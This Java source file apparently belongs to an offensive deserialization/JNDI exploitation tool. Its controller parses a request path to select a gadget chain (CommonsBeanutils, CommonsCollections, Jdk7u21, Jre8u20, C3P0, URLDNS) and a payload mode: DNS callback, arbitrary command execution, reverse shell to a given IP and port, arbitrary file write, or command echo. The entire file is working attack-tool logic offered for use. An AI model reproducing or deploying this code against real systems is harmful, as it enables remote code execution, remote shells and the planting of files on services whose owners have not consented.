package com.achuna33.Controllers;


import com.achuna33.Exceptions.IncorrectParamsException;
import com.achuna33.Exceptions.UnSupportedGadgetTypeException;
import com.achuna33.Exceptions.UnSupportedPayloadTypeException;
import com.achuna33.Gadgets.*;
import com.achuna33.SupportType.GadgetType;
import com.achuna33.SupportType.PayloadType;

import com.achuna33.Utils.Cache;
import com.achuna33.Utils.Utils;

public class SerializedDataController  {
    private GadgetType gadgetType;
    private PayloadType payloadType;
    private String[] params;


    public byte[] getResult(String base) throws Exception {
        System.out.println("[+] Start create javaSerializedData :" + base + " with javaSerializedData attribute");
        Cache.uiController.PublicArea.appendText("\n[+] Start create javaSerializedData :" + base + " with javaSerializedData attribute");

        //这个方法里面有改动，其他基本无改动
        byte[] bytes = null;
        Object obj = null;
        switch (gadgetType){
            case urldns:
                bytes = URLDNS.getBytes(params[0]);
                break;
            case commonsbeanutils1:
                bytes = CommonsBeanutils1.getBytes(payloadType, params);
                break;
            case commonsbeanutils2:
                bytes = CommonsBeanutils2.getBytes(payloadType, params);
                break;
            case commonscollectionsk1:
                bytes = CommonsCollectionsK1.getBytes(payloadType, params);
                break;
            case commonscollectionsk2:
                bytes = CommonsCollectionsK2.getBytes(payloadType, params);
                break;
            case jdk7u21:
                bytes = Jdk7u21.getBytes(payloadType, params);
                break;
            case jre8u20:
                bytes = Jre8u20.getBytes(payloadType, params);
                break;
            case c3p0:
                bytes = C3P0.getBytes(payloadType, params);
                break;
        }
        return bytes;
    }


    public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
        try{
            int firstIndex = base.indexOf("/");
            int secondIndex = base.indexOf("/", firstIndex + 1);
            try{
                gadgetType = GadgetType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
                System.out.println("[+] GaddgetType: " + gadgetType);
                Cache.uiController.PublicArea.appendText("\n[+] GaddgetType: " + gadgetType);
            }catch(IllegalArgumentException e){
                throw new UnSupportedGadgetTypeException("UnSupportGaddgetType: " + base.substring(firstIndex + 1, secondIndex));
            }

            if(gadgetType == GadgetType.urldns){
                String url = "http://" + base.substring(base.lastIndexOf("/") + 1);
                System.out.println("[+] URL: " + url);
                Cache.uiController.PublicArea.appendText("\n[+] URL: " + url);

                params = new String[]{url};
                return;
            }

            int thirdIndex = base.indexOf("/", secondIndex + 1);
            if(thirdIndex < 0) thirdIndex = base.length();
            try{
                payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
                System.out.println("[+] PayloadType: " + payloadType);
                Cache.uiController.PublicArea.appendText("\n[+] PayloadType: " + payloadType);

            }catch (IllegalArgumentException e){
                throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
            }

            switch(payloadType){
                case dnslog:
                    String url = base.substring(base.lastIndexOf("/") + 1);
                    System.out.println("[+] URL: " + url);
                    Cache.uiController.PublicArea.appendText("\n[+] URL: " + url);

                    params = new String[]{url};
                    break;
                case command:
                    String cmd = Utils.getCmdFromBase(base);
                    System.out.println("[+] Command: " + cmd);
                    Cache.uiController.PublicArea.appendText("\n[+] Command: " + cmd);

                    params = new String[]{cmd};
                    break;
                case reverseshell:
                    String[] results = Utils.getIPAndPortFromBase(base);
                    System.out.println("[+] IP: " + results[0]);
                    System.out.println("[+] Port: " + results[1]);
                    Cache.uiController.PublicArea.appendText("\n[+] IP: " + results[0]);
                    Cache.uiController.PublicArea.appendText("\n[+] Port: " + results[1]);

                    params = results;
                    break;
                case putfile:
                    //文件中‘/’ 用 _] 替换 ‘+’用
                    String[] result = Utils.getPathAndContent(base);
                    System.out.println("[+] Path:" + result[0]);
                    System.out.println("[+] Content:" + result[1]);
                    Cache.uiController.PublicArea.appendText("\n[+] Path:" + result[0]);
                    Cache.uiController.PublicArea.appendText("\n[+] Content:" + result[1]);
                    params = result;
                    break;
                case commandecho:
                    //文件中‘/’ 用 _] 替换 ‘+’用
                    String[] commandechoResult = Utils.getcommandechoArgs(base);
                    System.out.println("[+] uri:" + commandechoResult[0]);
                    System.out.println("[+] cmd:" + commandechoResult[1]);
                    Cache.uiController.PublicArea.appendText("\n[+] uri:" + commandechoResult[0]);
                    Cache.uiController.PublicArea.appendText("\n[+] cmd:" + commandechoResult[1]);

                    params = commandechoResult;
                    break;
            }

        }catch(Exception e){
            if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
            if(e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException)e;

            throw new IncorrectParamsException("Incorrect params: " + base);
        }
    }
}
